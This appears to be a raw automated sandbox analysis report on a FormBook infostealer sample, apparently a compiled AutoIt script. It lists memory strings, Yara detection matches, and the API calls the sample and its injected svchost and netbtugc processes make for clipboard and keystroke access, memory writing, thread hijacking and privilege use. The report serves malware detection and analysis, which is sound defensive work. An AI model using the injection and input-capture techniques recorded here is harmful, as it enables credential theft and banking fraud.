Source: netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/vps/cloud/?utm_source=www.b301.space&utm_medium=expired&utm_campaign
Source: netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/web-tools/geoip?utm_source=www.b301.space&utm_medium=expired&utm_campaign
Source: netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/web-tools/myip?utm_source=www.b301.space&utm_medium=expired&utm_campaign
Source: netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/whois/?utm_source=www.b301.space&utm_medium=expired&utm_campaign
Source: netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/whois/check_site?utm_source=www.b301.space&utm_medium=expired&utm_campaign
Source: WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000003D4E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.sedo.com/services/parking.php3
Source: netbtugc.exe, 00000004.00000002.4580387603.0000000003CA6000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000003706000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.value-domain.com/
Source: WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000003706000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.value-domain.com/modall.php

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_0074EAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_0074EAFF

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_0074ED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_0074ED6A

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

0_2_0074EAFF

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_0073AA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

0_2_0073AA57

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_00769576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_00769576

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 2.2.svchost.exe.24d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.24d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4564773775.0000000002530000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4581093569.00000000055C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4574527555.0000000002BF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2270118769.0000000002E80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2269837439.00000000024D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4574542638.0000000002F30000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4575593241.0000000002C30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2270555889.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.2.svchost.exe.24d0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 2.2.svchost.exe.24d0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.4564773775.0000000002530000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.4581093569.00000000055C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.4574527555.0000000002BF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2270118769.0000000002E80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2269837439.00000000024D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.4574542638.0000000002F30000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.4575593241.0000000002C30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2270555889.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Binary is likely a compiled AutoIt script file

Source: QLLafoDdqv.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: QLLafoDdqv.exe, 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_868e7265-0
Source: QLLafoDdqv.exe, 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_0efbf333-e
Source: QLLafoDdqv.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_91e74eef-6
Source: QLLafoDdqv.exe	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_2245d438-2

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_024FB363 NtClose,	2_2_024FB363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_024D1D09 NtProtectVirtualMemory,	2_2_024D1D09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72B60 NtClose,LdrInitializeThunk,	2_2_02F72B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72C70 NtFreeVirtualMemory,LdrInitializeThunk,	2_2_02F72C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_02F72DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F735C0 NtCreateMutant,LdrInitializeThunk,	2_2_02F735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F74340 NtSetContextThread,	2_2_02F74340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F74650 NtSuspendThread,	2_2_02F74650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72AF0 NtWriteFile,	2_2_02F72AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72AD0 NtReadFile,	2_2_02F72AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72AB0 NtWaitForSingleObject,	2_2_02F72AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72BF0 NtAllocateVirtualMemory,	2_2_02F72BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72BE0 NtQueryValueKey,	2_2_02F72BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72BA0 NtEnumerateValueKey,	2_2_02F72BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72B80 NtQueryInformationFile,	2_2_02F72B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72EE0 NtQueueApcThread,	2_2_02F72EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72EA0 NtAdjustPrivilegesToken,	2_2_02F72EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72E80 NtReadVirtualMemory,	2_2_02F72E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72E30 NtWriteVirtualMemory,	2_2_02F72E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72FE0 NtCreateFile,	2_2_02F72FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72FB0 NtResumeThread,	2_2_02F72FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72FA0 NtQuerySection,	2_2_02F72FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72F90 NtProtectVirtualMemory,	2_2_02F72F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72F60 NtCreateProcessEx,	2_2_02F72F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72F30 NtCreateSection,	2_2_02F72F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72CF0 NtOpenProcess,	2_2_02F72CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72CC0 NtQueryVirtualMemory,	2_2_02F72CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72CA0 NtQueryInformationToken,	2_2_02F72CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72C60 NtCreateKey,	2_2_02F72C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72C00 NtQueryInformationProcess,	2_2_02F72C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72DD0 NtDelayExecution,	2_2_02F72DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72DB0 NtEnumerateKey,	2_2_02F72DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72D30 NtUnmapViewOfSection,	2_2_02F72D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72D10 NtMapViewOfSection,	2_2_02F72D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72D00 NtSetInformationFile,	2_2_02F72D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F73090 NtSetValueKey,	2_2_02F73090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F73010 NtOpenDirectoryObject,	2_2_02F73010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F739B0 NtGetContextThread,	2_2_02F739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F73D70 NtOpenThread,	2_2_02F73D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F73D10 NtOpenProcessToken,	2_2_02F73D10
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03174340 NtSetContextThread,LdrInitializeThunk,	4_2_03174340
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03174650 NtSuspendThread,LdrInitializeThunk,	4_2_03174650
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172B60 NtClose,LdrInitializeThunk,	4_2_03172B60
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172BA0 NtEnumerateValueKey,LdrInitializeThunk,	4_2_03172BA0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	4_2_03172BF0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172BE0 NtQueryValueKey,LdrInitializeThunk,	4_2_03172BE0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172AD0 NtReadFile,LdrInitializeThunk,	4_2_03172AD0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172AF0 NtWriteFile,LdrInitializeThunk,	4_2_03172AF0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172F30 NtCreateSection,LdrInitializeThunk,	4_2_03172F30
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172FB0 NtResumeThread,LdrInitializeThunk,	4_2_03172FB0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172FE0 NtCreateFile,LdrInitializeThunk,	4_2_03172FE0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172E80 NtReadVirtualMemory,LdrInitializeThunk,	4_2_03172E80
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172EE0 NtQueueApcThread,LdrInitializeThunk,	4_2_03172EE0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172D10 NtMapViewOfSection,LdrInitializeThunk,	4_2_03172D10
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172D30 NtUnmapViewOfSection,LdrInitializeThunk,	4_2_03172D30
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172DD0 NtDelayExecution,LdrInitializeThunk,	4_2_03172DD0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172DF0 NtQuerySystemInformation,LdrInitializeThunk,	4_2_03172DF0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172C70 NtFreeVirtualMemory,LdrInitializeThunk,	4_2_03172C70
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172C60 NtCreateKey,LdrInitializeThunk,	4_2_03172C60
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172CA0 NtQueryInformationToken,LdrInitializeThunk,	4_2_03172CA0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031735C0 NtCreateMutant,LdrInitializeThunk,	4_2_031735C0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_031739B0 NtGetContextThread,LdrInitializeThunk,	4_2_031739B0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172B80 NtQueryInformationFile,	4_2_03172B80
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172AB0 NtWaitForSingleObject,	4_2_03172AB0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172F60 NtCreateProcessEx,	4_2_03172F60
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172F90 NtProtectVirtualMemory,	4_2_03172F90
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172FA0 NtQuerySection,	4_2_03172FA0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172E30 NtWriteVirtualMemory,	4_2_03172E30
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172EA0 NtAdjustPrivilegesToken,	4_2_03172EA0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172D00 NtSetInformationFile,	4_2_03172D00
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172DB0 NtEnumerateKey,	4_2_03172DB0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172C00 NtQueryInformationProcess,	4_2_03172C00
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172CC0 NtQueryVirtualMemory,	4_2_03172CC0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03172CF0 NtOpenProcess,	4_2_03172CF0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03173010 NtOpenDirectoryObject,	4_2_03173010
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03173090 NtSetValueKey,	4_2_03173090
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03173D10 NtOpenProcessToken,	4_2_03173D10
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_03173D70 NtOpenThread,	4_2_03173D70
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_02557A70 NtReadFile,	4_2_02557A70
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_02557B50 NtDeleteFile,	4_2_02557B50
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_02557BE0 NtClose,	4_2_02557BE0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_02557920 NtCreateFile,	4_2_02557920
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_02557D30 NtAllocateVirtualMemory,	4_2_02557D30

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_0073D5EB: CreateFileW,DeviceIoControl,CloseHandle,

0_2_0073D5EB

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_00731201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00731201

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_0073E8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_0073E8F6

Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_006DBF40	0_2_006DBF40
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_006D8060	0_2_006D8060
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_00742046	0_2_00742046
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_00738298	0_2_00738298
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_0070E4FF	0_2_0070E4FF
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_0070676B	0_2_0070676B
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_00764873	0_2_00764873
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_006DCAF0	0_2_006DCAF0
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_006FCAA0	0_2_006FCAA0
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_006ECC39	0_2_006ECC39
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_00706DD9	0_2_00706DD9
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_006EB119	0_2_006EB119
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_006D91C0	0_2_006D91C0
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_006F1394	0_2_006F1394
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_006F781B	0_2_006F781B
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_006E997D	0_2_006E997D
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_006D7920	0_2_006D7920
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_006F7A4A	0_2_006F7A4A
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_006F7CA7	0_2_006F7CA7
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_0075BE44	0_2_0075BE44
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_00709EEE	0_2_00709EEE
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_015C3620	0_2_015C3620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_024D1290	2_2_024D1290
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_024E6873	2_2_024E6873
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_024E6871	2_2_024E6871
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_024D28A0	2_2_024D28A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_024E0173	2_2_024E0173
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_024D1110	2_2_024D1110
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_024DE1F3	2_2_024DE1F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_024D268A	2_2_024D268A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_024D2698	2_2_024D2698
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_024D26A0	2_2_024D26A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_024DFF4A	2_2_024DFF4A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_024FD753	2_2_024FD753
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_024DFF53	2_2_024DFF53
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_024D3500	2_2_024D3500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC02C0	2_2_02FC02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE0274	2_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030003E6	2_2_030003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4E3F0	2_2_02F4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFA352	2_2_02FFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030001AA	2_2_030001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD2000	2_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF81CC	2_2_02FF81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC8158	2_2_02FC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDA118	2_2_02FDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F30100	2_2_02F30100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5C6E0	2_2_02F5C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3C7C0	2_2_02F3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40770	2_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F64750	2_2_02F64750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FEE4F6	2_2_02FEE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03000591	2_2_03000591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF2446	2_2_02FF2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE4420	2_2_02FE4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40535	2_2_02F40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3EA80	2_2_02F3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF6BD7	2_2_02FF6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFAB40	2_2_02FFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E8F0	2_2_02F6E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F268B8	2_2_02F268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0300A9A6	2_2_0300A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4A840	2_2_02F4A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F42840	2_2_02F42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F429A0	2_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F56962	2_2_02F56962
